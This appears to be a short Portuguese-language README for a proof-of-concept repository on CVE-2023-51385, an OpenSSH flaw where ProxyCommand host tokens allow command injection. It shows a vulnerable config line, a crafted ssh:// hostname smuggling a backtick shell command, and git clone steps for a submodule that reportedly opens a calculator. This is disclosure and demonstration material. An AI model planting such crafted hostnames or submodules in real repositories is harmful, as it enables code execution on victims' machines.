
CVE-2023-51385
RCE via ~/.ssh/config inseguro O uso de tokens como %h, %p é bastante popular para usar túneis e proxy de conexão via SSH.ProxyCommand
Configuração vulnerável host *.example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Nota: na minha avaliação inicial, eu tinha a impressão de que usar '%h` (aspas simples) evitaria isso, mas parece que isso ainda vai ser vulnerável com algo como:
ssh://echo helloworld > cve.txt`foo.example.com/bar
Retirado de: https://man.openbsd.org/ssh_config#ProxyCommand
O que está neste repositório Um submódulo que exploraria essa vulnerabilidade para abrir uma calculadora no OSX.
Experimente usando:
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules
ou
git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules